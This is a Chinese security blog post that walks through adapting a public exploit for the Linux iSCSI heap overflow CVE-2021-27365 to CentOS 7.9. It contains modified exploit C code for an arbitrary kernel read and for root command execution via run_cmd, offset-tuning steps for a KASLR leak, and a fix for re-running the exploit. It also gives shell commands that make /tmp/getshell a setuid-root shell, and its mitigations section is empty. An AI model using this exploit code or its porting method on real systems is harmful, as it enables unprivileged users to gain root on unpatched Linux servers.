行业新闻

Linux提权漏洞利用兼容性适配:向下兼容centos 7.9

Linux提权漏洞利用兼容性适配:向下兼容centos 7.9

 

作者:维阵漏洞研究员—km1ng

一、漏洞简介

1.1 Linux Kernel Heap Buffer Overflow

2021年三月,Linux内核5.11.3发布版本发现了一个名为Linux Kernel Heap Buffer Overflow的漏洞,CVE编号为2021-27365。

1.2 关于SCSI

本文中涉及的子系统为SCSI(Small Computer System Interface,小型计算机系统接口)数据传输系统,它是为连接计算机与外围设备而制定的数据传输标准。SCSI是一个古老的标准,最初发布于1986年,并且是服务器设置的首选标准,而iSCSI基本上就是基于TCP的SCSI。实际上,SCSI至今仍在使用,特别是当我们要与某些存储设备打交道的时候,主要作用为TCP/IP网络上传送SCSI命令来提供对存储设备的块级访问。尽管该漏洞最近才被发现,但该漏洞自2006年以来一直存在,当时它在iSCSI子系统的开发过程中首次被引入。

1.3 iSCSI堆溢出

CVE-2021-27365是iSCSI子系统中的堆缓存溢出漏洞。通过设置iSCSI string属性为大于1页的值,然后读取该值就可以触发该漏洞。

具体来说,用户可以通过drivers/scsi/libiscsi.c中的helper函数发送netlink消息到iSCSI子系统(drivers/scsi/scsi_transport_iscsi.c),该子系统负责设置于iSCSI连接相关的属性,比如hostname、username等。这些属性值的大小是由netlink消息的最大长度来限制的。由于堆溢出漏洞不确定性的本质,该漏洞可以用作不可靠的本地DoS。在融合了信息泄露漏洞后,该漏洞可以进一步用于本地权限提升,即攻击者利用该漏洞可以从非特权的用户账户提升权限到root。

 

二、影响范围

CVSS 3 基础分数:7.8

2.1、 影响版本

Linux 内核版本 < 5.11.4

Linux 内核版本 < 5.10.21

Linux 内核版本 < 5.4.103

Linux 内核版本 < 4.19.179

Linux 内核版本 < 4.14.224

Linux 内核版本 < 4.9.260

Linux 内核版本 < 4.4.260

及其他所有加载scsi_transport_iscsi内核模块的Linux发行版。

2.2、 安全版本

Linux 内核版本 >= 5.11.4

Linux 内核版本 >= 5.10.21

Linux 内核版本 >= 5.4.103

Linux 内核版本 >= 4.19.179

Linux 内核版本 >= 4.14.224

Linux 内核版本 >= 4.9.260

Linux 内核版本 >= 4.4.260

对于3.x和2.6.23等低版本号不会发布补丁,但是根据不同的发型版本也是会有补丁包更新。

 

三、实验环境

 

四、环境搭建

4.1 使用understand对linux源码进行分析

linux源码下载链接:
https://vault.centos.org/7.9.2009/os/Source/SPackages/kernel-3.10.0-1160.el7.src.rpm

将kernel-3.10.0-1160.el7.src.rpm解压,会在解压目录下看到kernel-kabi-dw-1160.tar.bz2,再次解压最终得到linux-3.10.0-1160.el7目录。

使用understand打开分析linux源码,按照如下图流程即可。

等待完成分析。

4.2 搭建调试环境

# Centos7.9
yum install -y kernel-devel
sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo

里面的enable字段修改为enable=1

sudo debuginfo-install kernel
vi /boot/grub2/grub.cfg
vi /etc/grub2.cfg

执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行

kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr

上面的ttyS0是有可能改变的,如有打印机等请移除。

VmWare Centos添加串口:

VmWare Ubuntu添加串口:

拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。

/usr/lib/debug/lib/modules/3.10.0-1160.el7.x86_64/vmlinux

重新启动Centos,会发现centos如下图所示:

ubuntu执行如下命令:

sudo stty -F /dev/ttyS0 115200
sudo stty -F /dev/ttyS0

进入调试vmlinux和linux源码的同级目录

vi ~/.gdbinit
target remote /dev/ttyS0
file vmlinux
dir linux-3.10.0-1160.el7
gdb

 

五、 Centos8测试Exploit

下载链接:
https://github.com/grimm-co/NotQuite0DayFriday/tree/trunk/2021.03.12-linux-iscsi

进入utilities目录,使用root权限执行get_symbols.sh。

退出utilities目录,使用vi打开symbols.c文件,添加运行get_symbols.sh输出的信息,如下图所示。

使用make命令,编译exploit。

运行exploit程序,确认Centos8完成提权。

 

六、Centos7.9漏洞适配

6.0 遇到的问题

在Centos7.9中遇到几个主要问题:

1、获取不到SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER:
a)通过寻找替代SEQ_BUF_TO_USER的函数,执行任意地址写
b)舍弃SEQ_BUF_PUTMEM造成的任意地址写,改为执行run_cmd函数,以root权限执行脚本

2、获取内核基地址失败
更改偏移将之前泄露的内核函数地址更改为其他内核的函数地址,计算内核基地址

3、读取iscsi句柄
创建生成iscsai模块会可以得到一个内核地址,去取这个地址的内容用以确认漏洞分配。这个需要配合上面的任意地址读在加一个偏移变量完成。

4、多次利用提权
这个exploit只能运行一次,通过保存环境,绕过二次运行需要读取系统文件导致崩溃的步骤,直接发送iscsi消息,运行run_cmd函数。

6.1 Get Symbols

以root权限运行utilities/get_symbols.sh,用以获取符号表。

如上图所示,SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER没有被找到。

先将这些信息填写进symbols.c文件。

如上图所示将符号地址信息填入,因为SEQ_BUF_PUTMEM和SEQ_BUF_TO_USER符号并未找到所以暂时先填入MEMCPY处的地址。

make尝试运行:

6.2 Gets the kernel base address

上面一直报错“Failed to detect kernel slide”,grep搜索一下。

使用vi打开exploit.c定位到328行,如下图所示,看名称大概率是设置获取内核基地址的。

然后查了一下资料,如下图所示。

当时是直接赋值0xffffffff81000000,做到后期发现Centos7.9是支持Kaslr的,现在在文章中为了连贯性就直接在这解决了。

查看get_kernel_slide函数,参数都是在上面定义的,进入get_kernel_slide函数查看。

可以看到上图get_kernel_slide函数主要功能是设置发送ISCSI_HOST_PARAM_INITIATOR_NAME的消息,其中一些字段是可以自己设置的。

再去查看上图中iscsi_get_file函数是做什么的。如下图所示打开/sys/class/iscsi_host/host%d/initiatorname文件,目前尚未得知这个文件是做什么去读取什么数据。

去查看/sys/class/iscsi_host/目录,可以看到有几个host后跟着一个数字的目录,随便进去一个查看initiatorname文件。

等等这个656是不是在哪里见过,打开leak.c文件。

在回头来看get_kernel_slide函数是不是清晰了很多。

发送的ISCSI_UEVENT_SET_HOST_PARAM消息会将nlh+sizeof(*nlh)+sizeof(struct iscsi_uevent)的数据写入对应host目录的initiatorname文件中。

在understand中搜索ISCSI_UEVENT_SET_HOST_PARAM可以看到如下图所示。

这里就不对这个函数进行分析了。

get_kernel_slide函数发送ISCSI_UEVENT_SET_HOST_PARAM类型的消息,自己进行消息的填充,内核将发送的数据写入initiatorname文件,然后读取一个偏移的数据。

继续看下面,返回的slide是读取的leaked_kernel_function-NETLINK_SOCK_DESTRUCT,这个NETLINK_SOCK_DESTRUCT又是什么。

继续展开搜索。

我们发现了NETLINK_SOCK_DESTRUCT就是我们之前收集的符号信息中的一个,现在推测读取的数据为内核中的NETLINK_SOCK_DESTRUCT地址。

现在去Centos8上去验证一下。

读取的值为0xb974dc90,打开symbols.c文件。

现在验证了我们的想法是正确的,去Centos7.9打印leaked_kernel_function。

由上图可以得出是读取的数据出现了异常,现在使用gdb调试get_kernel_slide函数。

尝试更改NUM_EXTRA_BYTES的大小查看结果是否会改变,经过最终测试,发现620可以比较稳定的泄露一个内核的地址。现在将NUM_EXTRA_BYTES更改为620再次使用gdb调试。

因为并不是每次都能获取到内核地址,所以简单写一下gdb脚本如下:

gdb ./exploit -command=gcc_script
b *0x4011b8
r
x /30x $rsi+620

如上图所示,成功获取到内核的地址,只不过现在获取的是inet_sock_destruct的地址。

现在将inet_sock_destruct的地址填入NETLINK_SOCK_DESTRUCT地址处。

NUM_EXTRA_BYTES需要在加4将内核地址的低地址取出来。

现在已经能正常获取到内核基地址了。

重启机器,之前运行多次exploit对,机器环境有影响。

注意symbols.c中的是没有加偏移的地址。

Centos7.9中的inet_sock_destruct地址为0xffffffff816dd340UL,上面更改为0x9f0dd340只是为了测试。

现在为了方便调试关闭Centos7.9的kaslr,最后的成品是支持Kaslr的。

cat /proc/kallsyms > kallsyms.txt

在kallsyms.txt找到startup_64一行,如果首列值为ffffffff81000000,则基本确定KASLR关闭,否则开启。

修改/etc/default/grub文件,找到GRUB_CMDLINE_LINUX,默认上述行中会有quiet选项,在其后添加nokaslr选项。

grub2-mkconfig -o /boot/grub2/grub.cfg

6.3 Arbitrary address read

这时候在执行就会遇到Allocating controlled objects for R/W然后gdb就断在了内核,如上图所示需要重新启动一下。

如上图所示看是否能执行到打印”Failed to overwrite iscsi_transport struct (read 0x0)”,才是正常的执行流程。

如上图所示在exploit.c中的do_arbitrary_read函数,里面有参数handle,在下面进行进行tmp != handle+MODULE_INFO_DIFF。目前已知道handle的值为0xffffffffc09bb060,在symbols.c中也能找到MODULE_INFO_DIFF的定义(MODULE_INFO_DIFF=0x340)。

进入do_arbitrary_read函数查看里面做了什么。

如上图所示是设置发送了ISCSI_UEVENT_PING类型的消息。在最后的memcpy中将user_buffer中的值拷贝至data(data==&tmp)中,在根据user_buffer得出ev->u.iscsi_ping是可以控制的值,user_buffer是申请的缓冲区,在ISCSI_UEVENT_PING消息处理的时候进行了赋值。

问题是发送ISCSI_UEVENT_PING怎么就可以获取数据了?

打开understand,搜索ISCSI_UEVENT_PING消息处理是怎么进行的。

如上图所示,ev->u确实是可以进行控制的,但是要注意参数是有限制的并不是传递任意值都可比如uint32_t是会进行截断等,这里就不进行一一讲解了。

搜索到send_ping就无法再度深入了,然后在gdb下断点的时候是下不到这里的,接着在exploit.c中发现如下图所示。

send_ping被赋值为 SEQ_BUF_TO_USER也是在symbols.c中,下面两个相同的值是Centos7.9获取不到对应的值填写的。

尝试grep搜索符号和在understand中搜索,发现3.10没有这两个函数。

上图函数所在链接:
https://elixir.bootlin.com/linux/v4.0/source/lib/seq_buf.c#L301

这两个函数非常简单,目前先看seq_buf_to_user,根据send_ping传递的参数和seq_buf_to_user接受的参数和copy_to_user,是将内核的地址拷贝到申请的缓冲区中。

验证想法,更改SEQ_BUF_TO_USER的值,然后在gdb中下这个断点,如下图所示,下断点的时候最好下硬件断点,断点下在big_key_read。

rdi为可控的指针,rsi为8。这个函数的参数是有校验的,不能传递任意值,这里不针对如何校验的进行分析。

已经成功验证了SEQ_BUF_TO_USER为可控的,需要在内核中找一个替代的函数,长时间搜索后,最终找到了big_key_read 函数,直接将地址填写过去是不行的,还需要更改do_arbitrary_read函数。

void do_arbitrary_read(uint64_t handle, uint64_t hostno, int sock_fd, uint64_t address, void * data, size_t len) {

struct nlmsghdr nlh = NULL;
struct iscsi_uevent ev;
char * buffer;
int msg_length;
static uint64_t user_buffer = 0;

 static uint64_t  sb[24]={0x1234567887654321,0x1472580036925800,0x1234567887654321,0x1234567887654321,
                            0x1111111111111111,0x2222222222222222,0x2222222222222222,0x3333333333333333,
                            0x4444444444444444,0x5555555555555555,0x6666666666666666,0x7777777777777777,
                            0x1111111111111111,0x2222222222222222,0x3333333333333333,0x4444444444444444,
                            0x5555555555555555,0x6666666666666666,0x6,0x8,
                            0x1234567812345678,0x3333333333333333,0x4444444444444444,0x5555555555555555
};
sb[20]=address;

void * tmp;
printf(“==========user_buffer==================\n”);
set_shost(handle, hostno, sock_fd, &sb, sizeof(sb));

//Map the buffer in userland that we’re going to read kernel memory to. Because of the parameter
if(user_buffer == 0) { //sizes to the ping message below, it must be a buffer at a 32-bit address
tmp = mmap((void )0x78770000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(tmp == MAP_FAILED || tmp != (void )0x78770000) {
printf(“Could not map memory at 0x77770000 for arbitrary read\n”);
printf(“Arbitrary read failed; sleeping forever to avoid corruption\n”);
SLEEP_FOREVER();
}
user_buffer = (uint64_t)tmp;
}
//Setup the message
buffer = (void )(nlh = (struct nlmsghdr )malloc(NLMSG_LENGTH(MSG_SIZE)));
msg_length = sizeof(struct iscsi_uevent);
memset(nlh, 0, NLMSG_LENGTH(msg_length));
nlh->nlmsg_len = 0x100;
// nlh->nlmsg_len = NLMSG_LENGTH(msg_length);
nlh->nlmsg_type = ISCSI_UEVENT_PING;

//Setup the send_ping header
ev = (struct iscsi_uevent *)NLMSG_DATA(nlh);
ev->type = ISCSI_UEVENT_PING;
ev->iferror = 0;
ev->transport_handle = handle;
ev->u.iscsi_ping.host_no = hostno;

ev->u.iscsi_ping.iface_num = user_buffer;
ev->u.iscsi_ping.iface_type=user_buffer;

ev->u.iscsi_ping.payload_size=0x66;
//Send the ping message to trigger the seq_buf_to_user call
send_netlink_msg(sock_fd, nlh);
read_response(sock_fd, nlh);
free(buffer);

//Copy the memory that was written to the userland buffer into the requested buffer
memcpy(data, (void *)user_buffer, len);
printf(“=====================user_buffer=%x\n”,user_buffer);
printf(“==================read wirte===================== \n”);
}

注意不要忘记更改SEQ_BUF_TO_USER(0xffffffff81301e40UL),再次下断点。

再查看big_key_read 函数。

上面的do_arbitrary_read可以运行到copy_to_user 并退出无异常。寻找这个函数的时候还有其他函数,但是有一些莫名的线程崩溃/内核优化使用不该使用的寄存器等等。

最重要的是看一下读取的是什么内容,在gdb中直接查看。

这是一个非常接近的数字,在回去看exploit.c下面还有一个比较。

还记得MODULE_INFO_DIFF是0x340,但是这里的只有0x300更改MODULE_INFO_DIFF为0x300,在判断后面添加打印代码并退出。

如上图所示成功运行,并且打印出来,成功替换了任意地址读取。当然也可以尝试替换其他的函数。

6.4 Write any address to command execution

接下来的流程就是调用cleanup,最终调用到do_arbitrary_write,如下图所示。

和上面替换do_arbitrary_read一样,这次需要将找一个可以造成任意地址写的函数,可以从如下五方面入手:
1、memcpy
2、copy_from_user
3、strncpy
4、指针赋值等
5、iscsi的其他函数调用

还是先看do_arbitrary_write函数。

如上图所示是发送ISCSI_UEVENT_SET_CHAP消息,在SET_OFFSET处SEQ_BUF_PUTMEM为造成任意地址写。

在内核中寻找任意地址写的函数时,也是有参数的限制,包括截断、大小等,再通过更改发送消息的类型不断调整参数,在iscsi_if_recv_msg消息处理的下面这些很多可以使用的函数。

最终测试发送还是需要通过指针方式进行,第一个参数的类型,不能覆盖过大,比如0x1000就会有问题。

最后想的办法是通过更改消息类型,直接用调用run_cmd完成提权,这一步如上图所示有不少函数都可以完成,更改类型加参数设置即可。

为了不对环境进行更多的影响,在下面完成任意地址读,确认可以读取到这个地址后,直接进行调用run_cmd参数,如下图所示。

void run_command(uint64_t handle, uint64_t hostno, int sock_fd, uint64_t address, void * data, size_t len) {

struct nlmsghdr *nlh = NULL;
struct iscsi_uevent * ev;
char * buffer;
struct seq_buf sb;
int msg_length;

//Copy the seq_buf over the Scsi_Host
memset(&sb, 0, sizeof(sb));
sb.buffer = (char *)address;
sb.size = 0x1000;
sb.len = 0;
sb.readpos = 0;


static uint64_t  sbb[3]={0x732e612f706d742f,0x0000000000000068,0x1};
set_shost(handle, hostno, sock_fd, &sbb, sizeof(sbb));    


//Setup the message
buffer = (void *)(nlh = (struct nlmsghdr *)malloc(NLMSG_LENGTH(MSG_SIZE + len)));
msg_length = sizeof(struct iscsi_uevent) + len;
memset(nlh, 0, NLMSG_LENGTH(msg_length));
nlh->nlmsg_len = NLMSG_LENGTH(msg_length);
nlh->nlmsg_type = ISCSI_UEVENT_SET_CHAP;

//Setup the set_chap header
ev = (struct iscsi_uevent *)NLMSG_DATA(nlh);
ev->type = ISCSI_UEVENT_SET_CHAP;
ev->iferror = 0;
ev->transport_handle = handle;
ev->u.set_path.host_no = hostno;
memcpy((((void *)ev) + sizeof(struct iscsi_uevent)), data, len);

//Send the set_chap message to trigger the seq_buf_putmem call
send_netlink_msg(sock_fd, nlh);
read_response(sock_fd, nlh);

free(buffer);
printf("do_arbitrary_read_a  ISCSI_UEVENT_SET_CHAP ");
}

做如上图所示更改,还需要将a.sh放入/tmp目录下,给可执行权限,就可以进行写的时候直接调用run_cmd执行命令,如下图所示,依然创建proof。

上述更改只能使exploit运行一次,运行第二次的时候就会崩溃。

6.5 Run twice

第一次运行后使用ipcs-q查看消息队列,发现有很多消息,如下图所示。

莫非是这些消息导致的崩溃,使用ipcrm -a清理所有消息,果然Centos卡死。

但是发送消息第一次运行没有问题,第二次运行出了问题,不好定位消息那里出了错,所以在exploit中使用sleep和printf打印是在那里造成崩溃,最后定位到iscsi_get_file函数在访问对应host的initiatorname出了问题。

在第一次成功运行后,尝试直接去访问这个文件。

现在可以确认是访问这个文件造成了系统崩溃。

查ISCSI的资料,尝试删除或卸载去绕过这里读文件,每种方法都会去访问到initiatorname文件造成崩溃。

最后是使用的保存上一次利用的环境信息,在后面利用时复用,sock_fd、hostno都可以生成获取,handle可以保存。

做这样更改就可以运行多次,直到系统重启继续运行。

6.6 root shell (提权成功)

上面都是以root权限去运行/tmp/a.sh文件,这里直接获取root shell。

在a.sh在添加如下命令:

chown root:root /tmp/getshell
chmod +x /tmp/getshell
chmod u+s /tmp/getshell

getshell.c:

在exploit.c中添加运行/tmp/getshell即可完成获取root shell,如下图所示。

确认多次运行也不会出现问题,还原虚拟机运行kaslr也不会出现问题。

这种利用方式通过更改symbols.c里面的地址信息,可以很快适配到其他型号比如Centos7.8。

 

七、缓解措施

 

八、总结

这个漏洞非常的难以调试,并且双机调试有些慢,有时候虚拟机卡死需要虚拟机中安装虚拟机或者重启物理机,并且有时候漏洞能触发有时不能触发,还需要对内核有一点了解,更多的还是耐心。更改别人代码的时候,需要有自己的思考,如果将利用代码写的更加完善或者说环境不同寻找其他利用方式。上面简要重点说明了调试此漏洞遇到的一些问题以及解决方法。这个漏洞利用需要rdma-core这个软件包,在Centos7.9带GUI的桌面是默认安装的。

 

九、视频演示

https://www.bilibili.com/video/BV1Ch411H74w/

参考链接:
https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
https://www.4hou.com/index.php/shop/posts/rBqL

关闭